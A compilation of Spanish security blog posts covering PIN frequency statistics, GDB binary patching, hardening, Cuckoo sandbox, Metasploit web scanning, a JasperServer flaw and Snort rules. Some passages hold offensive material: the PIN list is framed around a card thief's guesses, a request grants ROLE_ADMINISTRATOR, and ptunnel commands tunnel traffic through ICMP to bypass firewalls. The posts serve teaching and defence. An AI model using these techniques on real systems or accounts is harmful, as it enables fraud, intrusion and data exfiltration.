Estadística del PIN

Si un ladrón nos robara la tarjeta de crédito, y sin contar con ningún tipo de información adicional (como nuestra fecha de nacimiento o la de nuestros familiares, nuestro número de teléfono, DNI, etc.), ¿qué números PIN debería probar en el cajero más próximo para tener la mayor probabilidad de quedarse con nuestro dinero?

En general, “se sabe” que ciertas contraseñas son escogidas con más frecuencia que otras, y por supuesto los números PIN no son una excepción. Recientemente, la gente de DataGenetics ha publicado PIN number analysis, que echa un poco de luz “cuantitativa” sobre este tema.

Básicamente, se han dedicado a recopilar fugas de información de entidades bancarias, reuniendo una muestra con la friolera de 3,4 millones de PIN reales de 4 cifras. Los resultados coinciden, por desgracia, con la creencia común; el más frecuente el “1234”, seguido por el “1111” y el “0000”:

PIN Frecuencia
#1 1234 10,713%
#2 1111 6,016%
#3 0000 1,881%
#4 1212 1,197%
#5 7777 0,745%
#6 1004 0,616%
#7 2000 0,613%
#8 4444 0,526%
#9 2222 0,516%
#10 6969 0,512%
#11 9999 0,451%
#12 3333 0,419%
#13 5555 0,395%
#14 6666 0,391%
#15 1122 0,366%
#16 1313 0,304%
#17 8888 0,303%
#18 4321 0,293%
#19 2001 0,290%
#20 1010 0,285%

(Fuente: PIN number analysis)

Probando el PIN “1234” sobre una tarjeta de crédito robada de entre la muestra, el ladrón del que hablábamos tendría un 10,713% de probabilidades de acertar a priori: aproximadamente 1 de cada 10 veces. Como los anteriores 20 números más frecuentes suponen un 26,832% del total, probándolos todos la probabilidad de acierto sería mayor que 1 de cada 4 veces.

Otras curiosidades: números que son más fáciles de escribir en un teclado telefónico (el empleado en los cajeros), como el “2580”, son más frecuentes (al ser más fáciles de escribir, también son más fáciles de recordar); los números pares son más frecuentes que los impares; números que empiezan por “19” son más frecuentes que los prefijados por cualquier otro par de números (¿años de nacimiento?); escaleras ascendientes (como “2345”) o descendientes (como “4321”) son más frecuentes que lo que deberían serlo por puro azar, así como repeticiones de pares (“1212”, “2828”), o números empezados por “1” o “0”. Os recomendamos encarecidamente la lectura completa del artículo, donde pueden encontrarse más curiosidades, resultados estadísticos, gráficas, etc.

¿Hasta qué punto los resultados muestrales serían extrapolables a la población de los números PIN de los usuarios de tarjetas de crédito de España? ¿Figura vuestro PIN en el top 20? ¿Y entre los números menos frecuentes? ;-)

Al margen de estas probabilidades “a priori”, cada día colgamos más y más información personal en las redes sociales e Internet en general, y a menudo es fácil obtener la fecha de nacimiento de una persona (o la de sus familiares), su dirección postal, número de móvil, o DNI, a partir de tan sólo su nombre completo, que suele figurar en la propia tarjeta de crédito.

Enlaces

Parcheando código con GDB

Hace un par de días, durante un reto de seguridad, nos encontramos con la situación de tener que modificar con GDB el código de un binario para que realizara las acciones que nos interesaban y no para las que había sido programado; esto suele usarse en los retos tipo “crack me” o “patch me”. Todo sea dicho, al final no era la solución al reto, pero como todo reto, se suelen probar distintas opciones.

De forma resumida tenemos un programa con la función principal y dos funciones adicionales declaradas. En la función principal se llama solo a una de las dos funciones, en este caso a la función que llamaremos “malo”, pero nosotros necesitábamos que en vez de llamar a esa función llame a la otra función, la que llamaremos “bueno”.

Un ejemplo del código en C sería el siguiente, al que denominaremos “prueba.c”:

#include <stdio.h>
#include <stdlib.h>
// Funciones auxiliares

void bueno(void) { printf("SIIII");}
void malo(void) { printf("Noooo");}

// Función principal que llama a la funcion malo
void main(void){malo();}

Nuestro objetivo era que el programa, en lugar de llamar a la función malo en el main, llamara a la función bueno. Para el reto teníamos únicamente GDB como debugger. Para la entrada usaremos el código anterior por estar más simplificado y resultar más claro.

Teniendo en cuenta que el código anterior se ha escrito en el fichero “prueba.c”, hay que seguir los siguientes pasos para compilar y cargar el binario en GDB:

$ gcc -o prueba prueba.c
$ gdb prueba

Una vez accedido a GDB le indicaremos que queremos usar el formato Intel en vez del AT&T seleccionado por defecto (me gusta más, para gustos colores o sabores):

$ set disassembly-flavor intel

El siguiente paso consistirá en ver el código del programa, teniendo encuenta que las pruebas se hacen sobre un entorno de 64 bits (por eso las direcciones son tan largas):

(gdb) disas main 
Dump of assembler code for function main: 
   0x0000000000400514 <+0>:	push   rbp 
   0x0000000000400515 <+1>:	mov    rbp,rsp
   0x0000000000400518 <+4>:	call   0x4004fc <malo>
   0x000000000040051d <+9>:	pop    rbp 
   0x000000000040051e <+10>:	ret    
End of assembler dump.
NOTA: “disas” viene de la orden “disassemble” pero se puede usar de esta forma porque no hay órdenes que empiecen por “disas” y no es necesario escribir la orden completa… es igual que ocurre en los cacharritos CISCO :)

Como vemos la llamada a la función malo, mediante CALL, está en posición “0x400518”, la cual apunta a la dirección “0x4004fc” donde se encuentra la primera instrucción de la función malo, tal como se muestra a continuación:

(gdb) disas malo 
Dump of assembler code for function malo: 
   0x00000000004004fc <+0>:	push   rbp 
   ...
   0x0000000000400512 <+22>:	pop    rbp 
   0x0000000000400513 <+23>:	ret    
End of assembler dump. 

El siguiente paso es analizar el tipo de CALL de la función principal (main), identificando el tipo de OP Code de la función; en nuestro caso se mostrarán los 8 bytes a partir del CALL:

(gdb) x/8xb 0x400518 
0x400518 >main +4<:	0xe8	0xdf	0xff	0xff	0xff	0x5d	0xc3	0x90

Vemos que el primer byte es 0xe8, que corresponde con el OP Code del CALL a dirección relativa Call32(). Dicha llamada consta de 5 bytes; el primero es el OPCode representado como “0xe8” identificativo de la llamada y los siguientes 4 bytes es la dirección donde se encuentra la función que se desea llamar. Por tanto para ver correctamente esta instrucción será necesario visualizar solo los 5 primeros bytes:

(gdb) x/5xb 0x400518
0x400518 <main +4>:	0xe8	0xdf	0xff	0xff	0xff

Donde tenemos el Op Code 0xe8 y la dirección “0xdf 0xff 0xf 0xff“. Como este ordenador es un LE hay que darle la vuelta: es decir, la dirección real es ” 0xff 0xff 0xff 0xdf”. Esto se puede realizar cambiando el carácter “b” de byte por el de word “w” e indicando la posición de memoria donde empieza la dirección que se quiere tratar, es decir, la dirección del CALL + 1 (quitamos el OP Code 0xe8):

(gdb) x/xw 0x400519
0x400519 <main +5>:	0xffffffdf

Y la pregunta que se estarán realizando: ¿de dónde sale ese dato? Pues ese dato es el valor negado de la diferencia (offset) entre el final de la llamada del CALL y la función que se quiere llamar:

Not (OFFSET) = pos pre CALL + tam instrucción call - F(x) a saltar

¿Lioso? Veámoslo por partes. Tenemos de offset este valor “0xffffffdf”, con lo que la operación NOT sería:

0xdf -> 1101 1111 (el not de esto) -> 0010 0000 -> 0x20

Por tanto el NOT de “0xffffffdf” es “0x00000020”. Si sabemos que el Call se llama en la posición “0x400518” y el tamaño de la instrucción CALL son 5 bytes, entonces sabemos que la f(x) termina en la posición “0x40051c”; cuidado porque el byte “518” ya es el primer byte del CALL:

F(x) a saltar = pos pre CALL + tam instrucción call - Not (OFFSET)

F(x) a saltar = 0x400518 + 0x4 - 0x20 = 0x40051c - 0x20 = 0x4004FC

Es decir, la posición donde está la función malo que hemos identificado con anterioridad. Ahora queremos modificar el CALL para que apunte a bueno. Para ello es necesario obtener la posición de la función bueno:

(gdb) disas bueno
Dump of assembler code for function bueno: 
   0x00000000004004e4 <+0>:	push   rbp
   ...

Ya sabemos que el último byte de CALL está en la posición “0x40051c”, por tanto:

0x40051c - 0x4004e4 = 0x38

Not de 0x38 = 0xFFFFFFC7, y como es necesario ponerlo en LE -> 0xC7 0xff 0xff 0xff

Si recordamos, en el CALL de la función principal teníamos la siguiente entrada “0xe8 0xdf 0xff 0xff 0xff” la cual apuntaba a malo, y ahora queremos sustituirla por 0xc7 0xff 0xff 0xff: solo necesitamos cambiar el segundo byte del call, es decir 0xdf por 0xc7. O sea, indicarle que el byte “0x400519” valga 0xC7:

(gdb) x/xb 0x400519
0x400519 
: 0xdf

Para realizar dicha operación es necesario usar “set” indicando que lo que se quiere sustituir es un byte en la posición indicada:

(gdb) set *(unsigned char*) 0x400519 = 0xc7 
Cannot access memory at address 0x400519

Como vemos ha fallado, no tenemos acceso a dicha posición de memoria, hagamos una triquimechuela poniendo un breakpoint en la instrucción previa al call y ejecutando el programa:

(gdb) break 0x0000000000400515 
Function "0x0000000000400515" not defined. 
Make breakpoint pending on future shared library load? (y or [n]) y 
Breakpoint 1 (0x0000000000400515) pending.

Ejecutamos ahora el programa esperando a que se detenga en el break indicado, una instrucción antes del call:

(gdb) start 
Temporary breakpoint 2 at 0x400518 
Starting program: /home/moxilo/prueba

Temporary breakpoint 2, 0x0000000000400518 in main ()
(gdb) disas main
Dump of assembler code for function main: 
   0x0000000000400514 <+0>:	push   rbp 
   0x0000000000400515 <+1>:	mov    rbp,rsp 
=> 0x0000000000400518 <+4>:	call   0x4004fc <malo>
   0x000000000040051d <+9>:	pop    rbp 
   0x000000000040051e <+10>:	ret    
End of assembler dump.

Ahora ya podemos aplicar el cambio y comprobar que la modificación se ha llevado a cabo al apuntar el call a la función bueno en vez de a la función malo:

(gdb) set *(unsigned char*) 0x400519 = 0xc7
(gdb) disas main 
Dump of assembler code for function main: 
   0x0000000000400514 <+0>:	push   rbp 
   0x0000000000400515 <+1>:	mov    rbp,rsp 
=> 0x0000000000400518 <+4>:	call   0x4004e4 <bueno> 
   0x000000000040051d <+9>:	pop    rbp 
   0x000000000040051e <+10>:	ret    

End of assembler dump.

Como vemos ya apuntamos a la función bueno, por lo que si le decimos que “continue” mostrará el texto de la función buena (“SIIII”) y no el de la función mala:

(gdb) continue 
Continuing. 
SIIII[Inferior 1 (process 3897) exited with code 05]

Por tanto hemos parcheado el programa en ejecución con GDB, de tal forma que hemos obtenido la dirección de memoria de otra función, sustituyendo posteriormente la dirección de la llamada CALL por la de la función que nos ha interesado. Esto también se puede usar para sustituir instrucciones de códio que realizan ciertas comprobaciones que no nos interesa por NOPs (0x90), es decir, por “nada”.

Bastionando un servidor: algunas indicaciones

Una de las tareas comunes que deben aplicarse a un servidor que va a pasar a producción es fortalecer la seguridad que lleva por defecto el sistema. A esto se le llama bastionar o securizar. Como son muchos aspectos los que hay que tener en cuenta para llevar a cabo esta labor, he querido hacer un recopilatorio de las principales tareas de bastionado en Linux.

Los siguientes puntos se van a centrar únicamente en la seguridad de la máquina, sin extenderse en los elementos externos que se pueden utilizar para securizar el equipo, como NIDS, IPS, firewalls, auditorías periódicas o cañones de fotones.

  • Software siempre actualizado. Imprescindible mantener el sistema siempre a la última en parches de seguridad. No hacerlo es el método más sencillo para que te vulneren o tumben el equipo. La mayoría de malware actual se basa en vulnerabilidades conocidas de un servicio o aplicación para infectar la máquina.
  • Configuración deficiente de las aplicaciones. De nada serviría un servidor altamente bastionado si uno de los servicios disponibles tiene una configuración que permita a un atacante vulnerar su seguridad. Como es imposible abarcar todo lo que esta implicación supondría, enumeraré algunas indicaciones generales, aplicables a la mayoría de aplicaciones:
  • [Read more…]

CuckooSandbox

cuckoo_color
Hoy les vamos a hablar de una Sandbox. Para aquellos que no estén familiarizados con este tipo de aplicaciones, una Sandbox (caja de arena en español) no es (en este caso) más que una aplicación de análisis de malware que, mediante el aislamiento del proceso o fichero malicioso que se quiere analizar, permite conocer su funcionamiento detallado, incluyendo, entre otros, información acerca de la actividad de red y llamadas al sistema.

CuckooSandbox tiene varias características interesantes. Por un lado, se sirve de técnicas de virtualización para conseguir el aislamiento de los ficheros a analizar, a diferencia de otras Sandbox que utilizan técnicas de enjaulado de procesos para conseguir su objetivo. Por otro, su estructura completamente modular permite un gran abanico de configuraciones y adaptaciones a entornos concretos, lo que permite ser válida ante situaciones muy diferentes. Además, se trata de un proyecto de software libre bajo licencia GPL versión 3.

Para instalar CuckooSandbox necesitamos un equipo con sistema operativo Linux (preferentemente Ubuntu) que disponga de Python y la versión oficial de Oracle de VirtualBox. Una vez instalados los prerrequisitos, únicamente debemos descargar la aplicación desde esta ubicación y descomprimirlo en una carpeta de nuestra elección.

En la parte de las máquinas virtuales, que servirán de base para el análisis, el proceso de configuración es un poco más elaborado, pero básicamente necesitaremos un sistema operativo Windows actual (los módulos de análisis están pensados para las versiones inglesas), Python y versiones vulnerables de las aplicaciones que deseemos instalar. El proceso de configuración y puesta a punto está perfectamente referenciado en el apartado de Instalación de la documentación oficial. El paso final de la configuración es la creación de una instantánea de la máquina virtual, que sirve de punto de inicio en cada análisis, y al que se vuelve tras cada ejecución. A partir de aquí, el proceso de ejecución de análisis es extremadamente sencillo. Por una parte se debe iniciar el proceso cuckoo.py, que constituye el servidor central de la aplicación, y el que llevará toda la carga del análisis.

cuckoo-1

Por otra, se debe lanzar el proceso submit.py, que se encarga de enviar el fichero sospechoso al servidor para que sea analizado.

cuckoo-2

El proceso de análisis es modular y se incluyen por defecto varios paquetes de análisis que cubren distintos tipos de ficheros sospechosos. Actualmente se incluyen plantillas para ficheros ejecutables, librerías dinámicas, ficheros PDF, documentos ofimáticos, y apertura de URL con Internet Explorer y Mozilla Firefox, entre otros. Estas plantillas se pueden modificar o extender, e incluso crear nuevas para analizar otros tipos de fichero no contemplados en estas categorías.

Finalmente, una vez ejecutado el análisis, es momento de revisar los resultados obtenidos. Estos resultados incluyen los ficheros que ha descargado/creado el archivo sospechoso, los logs del sistema, informes del análisis, capturas de pantalla del equipo, traza de red, configuración y log del análisis, el fichero original y la traza de red:

cuckoo-3

Si además lanzamos el servidor web incorporado, podremos ver el informe en HTML, que incluye la información más relevante.

cuckoo-4

Como conclusión podemos decir que nos encontramos ante una utilidad muy útil a la hora de realizar análisis de ficheros maliciosos, y dado su carácter modular y la facilidad de uso, estamos seguros que pronto se hará un hueco en el mercado.

NOTA: Para probar esta aplicación, se utilizaron muestras de malware obtenidas del listado disponible en esta URL.

Page collector

pageHoy me gustaría presentaros un módulo de Metasploit que he descubierto hace poco tiempo. Se llama Page collector y ha sido desarrollado por Spencer McIntyre. El módulo en concreto nos ayuda a descubrir páginas web de un rango de ips y nos las muestra de forma gráfica. Vamos a plantear un posible escenario en el nos resultaría útil este módulo: Estamos realizando un pentest de una red corporativa que tiene un rango 192.168.0.0/24 y nos interesa conocer rápidamente, si existen interfaces de administración (phpMyAdmin, páginas de login por defecto, consolas JBoss…).

La instalación del módulo es muy sencilla y funciona out-of-the-box en una metasploit4:

dlladro@bt:/# wget http://www.securestate.com/Documents/page_collector.rb
dlladro@bt:/# cp page_collector.rb /opt/metasploit/modules/auxiliary/scanner/http/

Su uso también es muy sencillo. Para un uso básico (si no, show options ;), no tenemos más que cargar el módulo, fijar la variable RHOST y lanzarlo. Aquí hay un ejemplo de cómo funcionaría el módulo:

msf > use auxiliary/scanner/http/page_collector
msf auxiliary(page_collector) > show options

Module options (auxiliary/scanner/http/page_collector):

Name Current Setting Required Description
---- --------------- -------- -----------
LPATH /root/report.html yes The local filename to store the html file
PORTS 80,443,8080,8443 yes Ports to scan (e.g. 22-25,80,110-900)
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

msf auxiliary(page_collector) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf auxiliary(page_collector) > exploit

[*] Starting HTTP Page Collector
[+] Found HTTP On Server: http://192.168.0.1:80/
[+] Found HTTPS On Server: https://192.168.0.1:443/
[*] Found Invalid SSL Cert: IP:192.168.0.1 CN:maquina-1
[+] Found HTTP On Server: http://192.168.0.1:8080/
[+] Found HTTP On Server: http://192.168.0.14:80/
[+] Found HTTPS On Server: https://192.168.0.24:443/
[*] Found Invalid SSL Cert: IP:192.168.0.24 CN:maquina-2
[*] Scanned 026 of 256 hosts (010% complete)
[+] Found HTTP On Server: http://192.168.0.34:80/
[+] Found HTTP On Server: http://192.168.0.36:80/
[+] Found HTTP On Server: http://192.168.0.43:80/
[+] Found HTTP On Server: http://192.168.0.43:8080/
[+] Found HTTPS On Server: https://192.168.0.44:443/
[*] Found Invalid SSL Cert: IP:192.168.0.44 CN:maquina-3
[+] Found HTTP On Server: http://192.168.0.48:80/
[*] Scanned 052 of 256 hosts (020% complete)

Una vez terminado el escaneo, se han guardado los resultados en el archivo /root/report.html; si lo abrimos, veríamos algo parecido a lo siguiente:

page2

En los resultados anteriores se muestran los servicios HTTP/HTTPS encontrados, dentro de un iframe, con lo que ganamos bastante en comodidad para analizar, por ejemplo, usuarios triviales o por defecto en estos servicios…

Espero que este módulo os sea tan útil como a mí. ¡Un saludo!

Historia de una vulnerabilidad

En este post vamos a hablar acerca de una vulnerabilidad descubierta por el equipo de CSIRT-cv y publicada ayer, como podéis ver en su página de alertas. La aplicación afectada es JasperServer, un servidor para generación de informes, análisis de datos y Business Intelligence ampliamente utilizado, y que tiene una versión de código abierto, que es la que se ha demostrado vulnerable.

Durante un test de seguridad realizado a la versión 3.7.0 CE, se detectó que, además de los parámetros necesarios para ubicar al usuario en la aplicación, había un parámetro llamado _flowExecutionKey que iba cambiando cada cierto tiempo, probablemente para controlar el flujo del usuario dentro de la aplicación. A continuación se puede ver un ejemplo de petición válida en el sistema:

POST /flow.html?_flowExecutionKey=XXXXXXXXXX&_eventId=create HTTP/1.1
Host: 192.168.1.3
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.12) ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http:// 192.168.1.3/flow.html?_flowId=userListFlow&curlnk=3
Cookie: JSESSIONID=A7747A6C2AB278B5AD442A8755744184; treefoldersTree=1%7Copen%3B
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 167

userDetails={"userName": "user", "fullName": "User User", "email": "user@example.com", "password": "user", "enabled": true, "roles": [{"roleName": "ROLE_ADMINISTRATOR"}]}

[Read more…]

Instalación de UMO 0.1b Beta (Url Malware Owned)

Una vez presentada UMO en una entrada anterior, vamos a ver con un poco más de detalle cómo desplegarla para empezar a jugar con ella. Se ha probado la herramienta en un sistema con GNU/Linux Debian Squeeze y se ha utilizado Python 2.6.6.

Lo primero es descargar la herramienta:

$ export workdir=/tmp/umo
$ mkdir -p $workdir
$ cd $workdir
$ wget http://umo.googlecode.com/files/umobeta0.1b.tar.gz

Una vez descargada la descomprimimos:

$ tar -xvzf umobeta0.1b.tar.gz

[Read more…]

El framework RPKI

Hace algo mas de un año, uno de nuestros colaboradores escribió el post titulado “Disponibilidad en los servicios de conectividad a internet” donde se hacía referencia al secuestro de los prefijos IP de youtube desde Pakistan Telecom (junto otros ejemplos).

Copiando de dicho post, el ejemplo fue el siguiente:

El AS17557 (Pakistán Telecom), siguiendo una orden del gobierno pakistaní de bloquear el acceso a YouTube, empezó a anunciar uno de los prefijos del direccionamiento de YouTube seccionando —utilizando una red más específica— el prefijo habitual utilizado por la empresa de vídeos online. Cuando la ruta se propagó a través de la red de ASs, el tráfico mundial destinado a dicha subred utilizó el camino de los ASs anunciados para la dirección más específica, siendo enviado al AS17557 en lugar de al AS de Youtube.

[Read more…]

Preprocesador de SNORT para geolocalización

En la siguiente entrada vamos a tratar la herramienta de seguridad Snort, la cual es una aplicación de detección de intrusos a nivel de red (IDS). Su función es leer el tráfico de red, normalizarlo, catalogarlo y analizarlo mediante un motor de reglas en busca de una serie de patrones en el tráfico que identifiquen un posible ataque; por tanto se trata de un IDS basado en firmas. Así, dada una amenaza previamente conocida se crea una firma que permita la detección del tráfico malintencionado. Es por ello que la herramienta no dispone de la capacidad de detectar anomalías en el tráfico que permitan identificar vulnerabilidades no conocidas o malware dirigido.

Veamos lo expuesto con anterioridad en el siguiente ejemplo: se realiza una conexión saliente desde el equipo del gerente hacia China empleando el protocolo cifrado SSL a las tres de la madrugada. Es posible que este hecho requiera la intervención del equipo de gestión de incidentes, aunque implique inicialmente la actuación del primer nivel, para comprobar el motivo de esta conexión. ¿Pero cómo alertamos de esta conexión? Snort lo único que ve es una conexión desde un equipo a un servidor de Internet que emplea el protocolo SSL, es decir, una navegación web con protocolo HTTPS. Un IDS basado en reglas no entiende ni conoce los siguientes puntos:

  • Geolocalización: todas las IPs de Internet son iguales para él, no entiende de países.
  • Horarios: para él una conexión a las 12:00 es lo mismo que a las 3:00.
  • Patrones de conexión: desconoce el comportamiento de la red y por tanto no puede detectar anomalías.

Ante esta situación el equipo de seguridad analiza cómo poder añadir estas funcionalidades al motor de Snort, permitiendo detectar amenazas como las expuestas con anterioridad. Así, se decide crear una serie de preprocesadores dinámicos empleando para ello el lenguaje de programación C y la API proporcionada por Snort. Cierto es que nos encontramos con el escollo de que la documentación es escasa, por lo que hay que recurrir al estudio del código fuente de la herramienta para comprender el funcionamiento de estos.

Dentro de estos preprocesadores quiero mostrarles el funcionamiento del preprocesador de geolocalización, el cual permite marcar el país de procedencia y destino de los paquetes que son tratados por Snort, permitiendo aplicar ciertas reglas dependiendo del origen o destino del país mediante los tag “CountryS” para el origen y “CountryD” para el destino.

Veamos un ejemplo para entender el comportamiento de este preprocesador. Para ello crearemos dos reglas de Snort, donde la primera, con identificador “10000001”, generará alerta si detecta paquetes ICMP hacia Rusia (codificado como RUS) y la segunda regla, “10000002”, detectará paquetes ICMP que vengan de Rusia:

# cat /etc/snort/rules/local.rules
alert icmp any any -> any any (msg:"Destino de Rusia"; countryD: RUS; sid:10000001; rev:2;)
alert icmp any any -> any any (msg:"Origen de Rusia"; countryS: RUS; sid:10000002; rev:2;)
#

Como vemos, hemos indicado en la primera regla que genere alerta si el país destino es Rusia (countryD: RUS;) y en la segunda regla si el país origen es Rusia (countryS: RUS;). El siguiente paso consistirá en compilar nuestro preprocesador y tenerlo en el directorio de preprocesadores dinámicos indicados en el fichero de configuración de Snort:

# cd /usr/src/snort-2.9.0.1/src/dynamic-preprocessors/geolocalizacion/
# make clean
# make
# make install
# ls /usr/local/lib/snort_dynamicpreprocessor/ | grep geolocalizacion

lib_sfdynamic_geolocalizacion.a
lib_sfdynamic_geolocalizacion.la
lib_sfdynamic_geolocalizacion.so
lib_sfdynamic_geolocalizacion.so.0
lib_sfdynamic_geolocalizacion.so.0.0.0
#

A continuación se debe incluir el preprocesador en el fichero de configuración de Snort para que sea cargado por éste en su arranque; tengan en cuenta que el orden de los preprocesadores importa, por lo que se recomienda que esté después de “frag3”. En nuestro caso vamos a indicar que queremos que únicamente marque aquellos paquetes con origen o destino de Rusia, China, Iraq y Irán (con el tag ALL marcaría todos los paquetes):


preprocessor Geolocalizacion: country RUS CHN IRN IRQ

De esta forma ya podremos ejecutar Snort con su preprocesador:

# /usr/local/bin/snort -A console -u snort -g snort -c /etc/snort/snort.conf -i eth0
...
Configuración del preprocesador Geolocalizacion
Listado de paises: IRQ IRN CHN RUS
BBDD GeoIP cargada en memoria

...
+++++++++++++++++++++++++++++++++++++++++++++++++++
Initializing rule chains...
2 Snort rules read
2 detection rules
0 decoder rules
0 preprocessor rules
2 Option Chains linked into 1 Chain Headers
0 Dynamic rules
+++++++++++++++++++++++++++++++++++++++++++++++++++
...
--== Initialization Complete ==--

,,_ -*> Snort! < *-
o" )~ Version 2.9.0.1 IPv6 (Build 82)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/snort/snort-team
Copyright (C) 1998-2010 Sourcefire, Inc., et al.
Using libpcap version 1.1.1
Using PCRE version: 8.02 2010-03-19
Using ZLIB version: 1.2.3.4
Rules Engine: SF_SNORT_DETECTION_ENGINE Version 1.12 <Build 18>
Preprocessor Object: SF_SMTP (IPV6) Version 1.1 <Build 9>
Preprocessor Object: SF_FTPTELNET (IPV6) Version 1.2 <Build 13>
Preprocessor Object: SF_DNS (IPV6) Version 1.1 <Build 4>
Preprocessor Object: SF_SSLPP (IPV6) Version 1.1 <Build 4>
Preprocessor Object: SF_DCERPC2 (IPV6) Version 1.0 <Build 3>
Preprocessor Object: SF_SDF (IPV6) Version 1.1 <Build 1>
Preprocessor Object: Geolocalizacion Version 1.1 <Build 1>
Preprocessor Object: SF_SSH (IPV6) Version 1.1 <Build 13>
Commencing packet processing (pid=17271)
#

Para finalizar vamos a comprobar que el preprocesador funciona correctamente, y para ello emplearemos Scapy o Hping3 para el envío de paquetes ICMP con IP’s orígenes falsificadas de distintos países hasta que finalmente enviamos una trama con IP rusa (62.5.128.1), generando así la alerta del paquete ICMP procedente de Rusia y seguidamente en del paquete ICMP de respuesta:

04/29-19:33:22.973577 [**] [1:10000002:2] Origen de Rusia [**] [Priority: 0] {ICMP} 62.5.128.1 -> 10.10.0.8
04/29-19:33:22.973648 [**] [1:10000001:2] Destino de Rusia [**] [Priority: 0] {ICMP} 10.10.0.8 -> 62.5.128.1

Como vemos, con preprocesadores de estas características podemos aportar lógica a Snort para detectar patrones anómalos que permitan descubrir posible malware dirigido, fugas de información y 0 days, permitiendo de esta forma que Snort no sea un simple IDS basado en la detección de patrones. Esperamos que les haya parecido interesante la entrada.

Saltar filtrado de cortafuegos mediante paquetes ICMP

La arquitectura de una red empresarial requiere un diseño que permita la separación entre los usuarios, servidores internos y los servidores perimetrales o DMZ. Un diseño básico inicial consiste en un cortafuegos principal que separa el tráfico que va a la red perimetral del que va al resto de redes, existiendo un segundo cortafuegos de distinto fabricante en la entrada de la red de servidores internos, y entre ambos el servidor de VPN. Un esquema resumido sería el siguiente:


Diagrama1

Un diseño de red como el expuesto suele acarrear una mayor dificultad a la hora de obtener ventaja de vulnerabilidades existentes en la DMZ, así como, para saltarse las restricciones de acceso a internet por parte de los usuarios (y por tanto de los empleados) sin pasar por el proxy web con filtrado de acceso y contenidos.

Por desgracia algunos administradores de redes cometen el fallo de no filtrar el tráfico ICMP, especialmente el “ping”, tanto desde la red DMZ como a los usuarios, e incluso permitir el tráfico ICMP en servidores internos. Pero sí en cambio filtran el tráfico UDP y TCP. Debido a este fallo de configuración, muy común por desgracia, un atacante podría emplear canales encubiertos en protocolo ICMP para realizar conexiones inversas o saltarse las restricciones y políticas de seguridad de la empresa.

Como prueba de concepto se va a emplear la herramienta ptunnel. Esta herramienta crea dos túneles o canales; el primero se crea entre el cliente y el proxy ptunnel empleando únicamente el tráfico ICMP, mientras que el segundo se produce entre el destino real y el proxy, empleando para ello el protocolo legítimo.

Comencemos descargándonos la herramienta, actualmente en su versión 0.7. Una vez descargada descomprimiremos el código fuente y lo analizaremos para comprobar que no contiene código malicioso (como lo hacemos siempre, ¿verdad?…). El siguiente paso será instalar las libpcap-dev y compilarlo creando el binario “ptunnel”. Por ejemplo, para Debian o Ubuntu sería necesario seguir los siguientes pasos:

# tar xvfz PingTunnel-0.70.tar.gz
# cd PingTunnel-0.70/
# apt-get install libpcap-dev
# make

Una vez disponemos de la herramienta comenzaremos con la simulación, donde se conectará por SSH a un servidor mediante el empleo de canales encubiertos ICMP desde un servidor de la red interna, el cual solo permite como tráfico saliente el “ping” y conexiones previamente establecidas.

En la prueba el atacante hace una conexión SSH al servidor que controla, pero perfectamente podría haber realizado una copia cifrada de la documentación de la empresa usando el mismo puerto SSH mediante “scp”. Recuerden que esto es una prueba de concepto cuyo objetivo es mostrar que se puede hacer, pero no dar consejos a los atacantes de lo que deberían hacer.

El servidor interno será la IP 192.168.2.104 y el equipo que controla el atacante será la IP 192.168.2.105, que podría haberse tratado de un equipo en Internet, el cual dispone de un servicio SSH y un proxy ptunnel.


Diagrama2

Las órdenes necesarias son:
Servidor del atacante:
# ./ptunnel -x patata

Servidor víctima red interna:
# ./ptunnel -p 192.168.2.105 -lp 80 -da 192.168.2.105 -dp 22 -x patata
# ssh localhost -p 80

Tal como podemos ver en la siguiente imagen, donde se aprecian dos consolas del servidor interno. La superior representa el túnel ICMP hacia la ip 192.168.2.105, cuya conexión real es el puerto 22 del mismo equipo. La consola inferior representa la conexión SSH hacia la máquina del atacante:

CLiente1

Y éste es el registro que nos muestra el proxy ptunnel del servidor del atacante:

Proxy1

Para finalizar mostraremos una traza con Wireshark donde el servidor interno 192.168.2.104 establece un túnel de tráfico ICMP con el servidor 192.168.2.105 para conectarse a una web de Internet cuya IP es 209.8XX.XXX.XXX; para ello empleamos la siguiente orden:


# ./ptunnel -p 192.168.2.105 -lp 33 -da 209.8XX.XXX.XXX -dp 80 -x patata

Captura

Como vemos entre el servidor interno y el proxy ptunnel solo hay paquetes ICMP de tipo request y reply, es decir, un “ping”. Por tanto un atacante podría conectarse y permitir conexiones inversas hacia los servidores de red interna mediante paquetes ICMP. Por este y otros motivos, es muy importante que no únicamente se le preste atención a los protocolos UDP y TCP en los cortafuegos, sino también a ICMP.